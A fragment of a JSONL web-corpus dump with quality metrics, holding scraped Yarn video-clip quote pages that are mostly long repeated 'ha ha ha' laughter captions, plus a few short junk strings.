ha","num_words":1012,"character_repetition_ratio":0.682,"word_repetition_ratio":0.715,"special_characters_ratio":0.334,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.947,"perplexity_score":188129.5,"cluster_detection":1} +{"text":"Yarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHurry Pepsi Ha ha ha ha ha\nChicken Little (2005)\nMore clips of this video\nRelated play\nDisable\nHurry Pepsi Ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/7f4000c9-7774-4755-9c75-66ba9666f044\n😎\n😐\n😂\n😘\n😳\n😍\n#fabulous\n#rude\n#cold\n#surprise\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1010,"character_repetition_ratio":0.699,"word_repetition_ratio":0.791,"special_characters_ratio":0.338,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.961,"perplexity_score":198006.0,"cluster_detection":1} diff --git a/ina_Latn/new_cc_000005_remove.jsonl b/ina_Latn/new_cc_000005_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..1b768c858dfc2fe3e53df273a45effd44347c2f4 --- /dev/null +++ b/ina_Latn/new_cc_000005_remove.jsonl @@ -0,0 +1,5 @@ +{"text":"god ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ra its all real 695 2166 361 784","num_words":33,"character_repetition_ratio":0.635,"word_repetition_ratio":0.583,"special_characters_ratio":0.419,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.693,"perplexity_score":372465.3,"cluster_detection":-1} +{"text":"YARN | Ha-ha! \"Leave\" me! Ha-ha-ha! | My Little Pony: Friendship is Magic (2010) - S03E04 Animation | Video clips by quotes | 957c59ed | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa-ha! \"Leave\" me! Ha-ha-ha!\nMy Little Pony: Friendship Is Magic - One Bad Apple [S03E04]\nSearch clips of this video\nRelated play\nDisable\nHa-ha! \"Leave\" me! Ha-ha-ha!\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/957c59ed-d189-43b8-b0e5-5e56baa8e95e\n😎\n😐\n😂\n😘\n😳\n😍\n#no\n#sorry\n#why\n#grunting\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nDespicable Me (2010)\n1.9s\nHa ha ha ha ha ha ha!\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1096,"character_repetition_ratio":0.618,"word_repetition_ratio":0.669,"special_characters_ratio":0.334,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.848,"perplexity_score":124729.2,"cluster_detection":-1} +{"text":"god ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ra its all real 695 2166 361 771","num_words":33,"character_repetition_ratio":0.635,"word_repetition_ratio":0.583,"special_characters_ratio":0.419,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.623,"perplexity_score":372465.3,"cluster_detection":-1} +{"text":"its all real ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha testing code eight eight eight 1362 3558 593 940","num_words":40,"character_repetition_ratio":0.581,"word_repetition_ratio":0.484,"special_characters_ratio":0.368,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.525,"perplexity_score":344041.1,"cluster_detection":-1} +{"text":"Io ha retornate hodie de un breve viage in Polonia, plus precisemente a Varsavia. Le amicos polonese qui io cognosce in Helsinki me habeva alertate que Varsavia es un del citates minus actractive del Polonia, ma io ha essite multo satisfacite de lo que ha vidite. Le tempore non esseva perfecte, il habeva sol solmente sabbato, durante que in le altere dies le ciel esseva coperite per nubes non troppo aggressive.","num_words":81,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":166582.6,"cluster_detection":-1} diff --git a/ina_Latn/new_cc_000005_stas.jsonl b/ina_Latn/new_cc_000005_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..9a4a4e3c92885aa3bbdbf32353496b9ba7520dc7 --- /dev/null +++ b/ina_Latn/new_cc_000005_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 783.0, + "character_repetition_ratio": 0.6136, + "word_repetition_ratio": 0.6399333333333334, + "special_characters_ratio": 0.3346666666666666, + "stopwords_ratio": 0.005066666666666667, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.8620666666666666, + "perplexity_score": 204732.19333333333 + } + }, + { + "std": { + "num_words": 474.8459399285906, + "character_repetition_ratio": 0.16654560936872517, + "word_repetition_ratio": 0.1886419771831168, + "special_characters_ratio": 0.05081688258399521, + "stopwords_ratio": 0.00392371705854991, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.13495701373235683, + "perplexity_score": 81477.76609215111 + } + }, + { + "median": { + "num_words": 1010.0, + "character_repetition_ratio": 0.656, + "word_repetition_ratio": 0.702, + "special_characters_ratio": 0.334, + "stopwords_ratio": 0.006, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.904, + "perplexity_score": 171302.8 + } + }, + { + "max": { + "num_words": 1232.0, + "character_repetition_ratio": 0.7, + "word_repetition_ratio": 0.791, + "special_characters_ratio": 0.419, + "stopwords_ratio": 0.013, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 372465.3 + } + }, + { + "min": { + "num_words": 33.0, + "character_repetition_ratio": 0.005, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.186, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.525, + "perplexity_score": 124729.2 + } + }, + { + "90%": { + "num_words": 1218.6, + "character_repetition_ratio": 0.699, + "word_repetition_ratio": 0.7688, + "special_characters_ratio": 0.39859999999999995, + "stopwords_ratio": 0.01, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.961, + "perplexity_score": 361095.62 + } + }, + { + "75%": { + "num_words": 1143.0, + "character_repetition_ratio": 0.6915, + "word_repetition_ratio": 0.7364999999999999, + "special_characters_ratio": 0.3395, + "stopwords_ratio": 0.006500000000000001, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.954, + "perplexity_score": 196168.6 + } + }, + { + "50%": { + "num_words": 1010.0, + "character_repetition_ratio": 0.656, + "word_repetition_ratio": 0.702, + "special_characters_ratio": 0.334, + "stopwords_ratio": 0.006, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.904, + "perplexity_score": 171302.8 + } + }, + { + "25%": { + "num_words": 289.5, + "character_repetition_ratio": 0.6265000000000001, + "word_repetition_ratio": 0.622, + "special_characters_ratio": 0.3275, + "stopwords_ratio": 0.001, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.841, + "perplexity_score": 154328.95 + } + }, + { + "total size": "15", + "keep size": "10", + "remove size": "5" + } +] \ No newline at end of file diff --git a/ina_Latn/new_cc_000006_keep.jsonl b/ina_Latn/new_cc_000006_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..cf115d60fae49a3ebed862af14e5c1a46f14f7e5 --- /dev/null +++ b/ina_Latn/new_cc_000006_keep.jsonl @@ -0,0 +1,12 @@ +{"text":"YARN | ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | Alvin and the Chipmunks: The Squeakquel (2009) | Video clips by quotes | 7fee4d13 | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\nMore clips of this video\nRelated play\nDisable\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/7fee4d13-fb5e-4e26-b957-6b4ed5c692a8\n😎\n😐\n😂\n😘\n😳\n😍\n#grunting\n#idk\n#sniffing\n#rude\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\n3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1191,"character_repetition_ratio":0.684,"word_repetition_ratio":0.735,"special_characters_ratio":0.328,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.94,"perplexity_score":156415.9,"cluster_detection":1} +{"text":"Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!","num_words":170,"character_repetition_ratio":0.665,"word_repetition_ratio":1.0,"special_characters_ratio":0.333,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":448825.6,"cluster_detection":1} +{"text":"YARN | Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | Incredibles 2 | Video clips by quotes | e83a4d91 | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\nMore clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/e83a4d91-0aee-45a2-9f5d-497f015e87e4\n😎\n😐\n😂\n😘\n😳\n😍\n#please\n#whining\n#loveyou\n#sigh\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1169,"character_repetition_ratio":0.684,"word_repetition_ratio":0.747,"special_characters_ratio":0.329,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.945,"perplexity_score":159437.0,"cluster_detection":1} +{"text":"god ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ra its all real 695 2166 361 828","num_words":33,"character_repetition_ratio":0.635,"word_repetition_ratio":0.583,"special_characters_ratio":0.419,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.646,"perplexity_score":372465.3,"cluster_detection":1} +{"text":"Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!","num_words":170,"character_repetition_ratio":0.665,"word_repetition_ratio":1.0,"special_characters_ratio":0.333,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":448825.6,"cluster_detection":1} +{"text":"god ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ra its all real 695 2166 361 823","num_words":33,"character_repetition_ratio":0.635,"word_repetition_ratio":0.583,"special_characters_ratio":0.419,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.664,"perplexity_score":372465.3,"cluster_detection":1} +{"text":"Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!","num_words":170,"character_repetition_ratio":0.665,"word_repetition_ratio":1.0,"special_characters_ratio":0.333,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":448825.6,"cluster_detection":1} +{"text":"YARN | Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | The Loud House | Video clips by quotes | a918c30c | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha 